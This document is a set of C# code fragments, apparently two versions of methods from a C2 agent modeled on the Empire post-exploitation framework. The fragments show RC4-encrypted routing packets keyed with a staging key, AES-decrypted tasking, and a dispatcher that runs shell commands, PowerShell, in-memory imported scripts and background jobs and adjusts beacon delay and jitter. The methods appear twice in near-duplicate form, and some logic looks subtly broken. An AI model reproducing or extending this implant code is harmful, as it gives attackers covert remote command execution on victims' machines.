//////////////////////////////////////////////////////////////////////////////// private byte[] newRoutingPacket(byte[] encryptedBytes, Int32 meta) { Int32 encryptedBytesLength = 0; if (encryptedBytes != null && encryptedBytes.Length > 0) { encryptedBytesLength = encryptedBytes.Length; } byte[] data = Encoding.ASCII.GetBytes(sessionId); data = Misc.combine(data, new byte[4] { 0x01, Convert.ToByte(meta), 0x00, 0x00 }); data = Misc.combine(data, BitConverter.GetBytes(encryptedBytesLength)); byte[] initializationVector = newInitializationVector(4); byte[] rc4Key = Misc.combine(initializationVector, stagingKeyBytes); byte[] routingPacketData = EmpireStager.rc4Encrypt(rc4Key, data); routingPacketData = Misc.combine(initializationVector, routingPacketData); if (encryptedBytes != null && encryptedBytes.Length > 0) { routingPacketData = Misc.combine(routingPacketData, encryptedBytes); } return(routingPacketData); }
//////////////////////////////////////////////////////////////////////////////// // //////////////////////////////////////////////////////////////////////////////// private byte[] NewRoutingPacket(byte[] encryptedBytes, int meta) { int encryptedBytesLength = 0; if (encryptedBytes != null && encryptedBytes.Length > 0) { encryptedBytesLength = encryptedBytes.Length; } byte[] data = Encoding.ASCII.GetBytes(sessionInfo.GetAgentID()); byte lang = 0x03; data = Misc.combine(data, new byte[4] { lang, Convert.ToByte(meta), 0x00, 0x00 }); data = Misc.combine(data, BitConverter.GetBytes(encryptedBytesLength)); byte[] initializationVector = NewInitializationVector(4); byte[] rc4Key = Misc.combine(initializationVector, sessionInfo.GetStagingKeyBytes()); byte[] routingPacketData = EmpireStager.rc4Encrypt(rc4Key, data); routingPacketData = Misc.combine(initializationVector, routingPacketData); if (encryptedBytes != null && encryptedBytes.Length > 0) { routingPacketData = Misc.combine(routingPacketData, encryptedBytes); } return(routingPacketData); }
//////////////////////////////////////////////////////////////////////////////// public Byte[] task121(Coms.PACKET packet) { Byte[] scriptBytes = EmpireStager.aesDecrypt(sessionKey, jobTracking.importedScript); String script = Encoding.UTF8.GetString(scriptBytes); String jobId = jobTracking.startAgentJob(script + ";" + packet.data); return(encodePacket(packet.type, "Job started: " + jobId, packet.taskId)); }
//////////////////////////////////////////////////////////////////////////////// // Run an Agent Job //////////////////////////////////////////////////////////////////////////////// public byte[] Task121(PACKET packet) { byte[] scriptBytes = EmpireStager.aesDecrypt(sessionInfo.GetSessionKey(), jobTracking.ImportedScript); string script = Encoding.UTF8.GetString(scriptBytes); string jobId = jobTracking.StartAgentJob(script + ";" + packet.data, packet.taskId); return(EncodePacket(packet.type, "Job started: " + jobId, packet.taskId)); }
//////////////////////////////////////////////////////////////////////////////// public Byte[] task120(Coms.PACKET packet) { Random random = new Random(); Byte[] initializationVector = new Byte[16]; random.NextBytes(initializationVector); jobTracking.importedScript = EmpireStager.aesEncrypt(sessionKeyBytes, initializationVector, Encoding.ASCII.GetBytes(packet.data)); return(encodePacket(packet.type, "Script successfully saved in memory", packet.taskId)); }
//////////////////////////////////////////////////////////////////////////////// private void processTaskingPackets(byte[] encryptedTask) { byte[] taskingBytes = EmpireStager.aesDecrypt(sessionKey, encryptedTask); PACKET firstPacket = decodePacket(taskingBytes, 0); byte[] resultPackets = processTasking(firstPacket); sendMessage(resultPackets); Int32 offset = 12 + (Int32)firstPacket.length; String remaining = firstPacket.remaining; }
//////////////////////////////////////////////////////////////////////////////// // //////////////////////////////////////////////////////////////////////////////// private void ProcessTaskingPackets(byte[] encryptedTask) { byte[] taskingBytes = EmpireStager.aesDecrypt(sessionInfo.GetSessionKey(), encryptedTask); PACKET firstPacket = DecodePacket(taskingBytes, 0); byte[] resultPackets = ProcessTasking(firstPacket); SendMessage(resultPackets); int offset = 12 + (int)firstPacket.length; string remaining = firstPacket.remaining; }
//////////////////////////////////////////////////////////////////////////////// internal void decodeRoutingPacket(byte[] packetData, ref JobTracking jobTracking) { this.jobTracking = jobTracking; if (packetData.Length < 20) { return; } Int32 offset = 0; while (offset < packetData.Length) { byte[] routingPacket = packetData.Skip(offset).Take(20).ToArray(); byte[] routingInitializationVector = routingPacket.Take(4).ToArray(); byte[] routingEncryptedData = packetData.Skip(4).Take(16).ToArray(); offset += 20; byte[] rc4Key = Misc.combine(routingInitializationVector, stagingKeyBytes); byte[] routingData = EmpireStager.rc4Encrypt(rc4Key, routingEncryptedData); String packetSessionId = Encoding.UTF8.GetString(routingData.Take(8).ToArray()); try { byte language = routingPacket[8]; byte metaData = routingPacket[9]; } catch (IndexOutOfRangeException error) { } byte[] extra = routingPacket.Skip(10).Take(2).ToArray(); UInt32 packetLength = BitConverter.ToUInt32(routingData, 12); if (packetLength < 0) { break; } if (sessionId == packetSessionId) { byte[] encryptedData = packetData.Skip(offset).Take(offset + (Int32)packetLength - 1).ToArray(); offset += (Int32)packetLength; try { processTaskingPackets(encryptedData); } catch (Exception error) { } } } }
//////////////////////////////////////////////////////////////////////////////// //The hard part //////////////////////////////////////////////////////////////////////////////// private byte[] processTasking(PACKET packet) { byte[] returnPacket = new byte[0]; try { //Change this to a switch : case Int32 type = packet.type; switch (type) { case 1: byte[] systemInformationBytes = EmpireStager.GetSystemInformation("0", "servername"); String systemInformation = Encoding.ASCII.GetString(systemInformationBytes); return(encodePacket(1, systemInformation, packet.taskId)); case 2: String message = "[!] Agent " + sessionId + " exiting"; sendMessage(encodePacket(2, message, packet.taskId)); Environment.Exit(0); //This is still dumb return(new byte[0]); case 40: String[] parts = packet.data.Split(' '); String output; if (parts.Length == 1) { output = Agent.invokeShellCommand(parts[0], ""); } else { output = Agent.invokeShellCommand(parts[0], parts[1]); } byte[] packetBytes = encodePacket(packet.type, output, packet.taskId); return(packetBytes); case 41: return(task41(packet)); case 42: return(task42(packet)); case 50: List <String> runningJobs = new List <String>(jobTracking.jobs.Keys); return(encodePacket(packet.type, runningJobs.ToArray(), packet.taskId)); case 51: return(task51(packet)); case 100: return(encodePacket(packet.type, Agent.runPowerShell(packet.data), packet.taskId)); case 101: return(task101(packet)); case 110: String jobId = jobTracking.startAgentJob(packet.data); return(encodePacket(packet.type, "Job started: " + jobId, packet.taskId)); case 111: return(encodePacket(packet.type, "Not Implimented", packet.taskId)); case 120: return(task120(packet)); case 121: return(task121(packet)); default: return(encodePacket(0, "Invalid type: " + packet.type, packet.taskId)); } } catch (Exception error) { return(encodePacket(packet.type, "Error running command: " + error, packet.taskId)); } }
//////////////////////////////////////////////////////////////////////////////// //The hard part //////////////////////////////////////////////////////////////////////////////// private byte[] ProcessTasking(PACKET packet) { byte[] returnPacket = new byte[0]; try { //Change this to a switch : case int type = packet.type; switch (type) { case 1: byte[] systemInformationBytes = EmpireStager.GetSystemInformation("0", "servername"); string systemInformation = Encoding.ASCII.GetString(systemInformationBytes); return(EncodePacket(1, systemInformation, packet.taskId)); case 2: string message = "[!] Agent " + sessionInfo.GetAgentID() + " exiting"; SendMessage(EncodePacket(2, message, packet.taskId)); Environment.Exit(0); //This is still dumb return(new byte[0]); case 40: string[] parts = packet.data.Split(' '); string output; if (parts[0] == "Set-Delay") { Console.WriteLine("Current delay" + sessionInfo.GetDefaultDelay()); sessionInfo.SetDefaultDelay(UInt32.Parse(parts[1])); sessionInfo.SetDefaultJitter(UInt32.Parse(parts[2])); output = "Delay set to " + parts[1] + "Jitter set to " + parts[2]; } else if (1 == parts.Length) { output = Agent.InvokeShellCommand(parts.FirstOrDefault(), ""); } else { output = Agent.InvokeShellCommand(parts.FirstOrDefault(), string.Join(" ", parts.Skip(1).Take(parts.Length - 1).ToArray())); } byte[] packetBytes = EncodePacket(packet.type, output, packet.taskId); return(packetBytes); case 41: return(Task41(packet)); case 42: return(Task42(packet)); case 43: return(Task43(packet)); case 44: return(Task44(packet)); case 50: List <string> runningJobs = new List <string>(jobTracking.jobs.Keys); return(EncodePacket(packet.type, runningJobs.ToArray(), packet.taskId)); case 51: return(Task51(packet)); case 100: return(EncodePacket(packet.type, Agent.RunPowerShell(packet.data), packet.taskId)); case 101: return(Task101(packet)); case 110: string jobId = jobTracking.StartAgentJob(packet.data, packet.taskId); return(EncodePacket(packet.type, "Job started: " + jobId, packet.taskId)); case 111: return(EncodePacket(packet.type, "Not Implimented", packet.taskId)); case 120: return(Task120(packet)); case 121: return(Task121(packet)); default: return(EncodePacket(0, "Invalid type: " + packet.type, packet.taskId)); } } catch (Exception error) { return(EncodePacket(packet.type, "Error running command: " + error, packet.taskId)); } }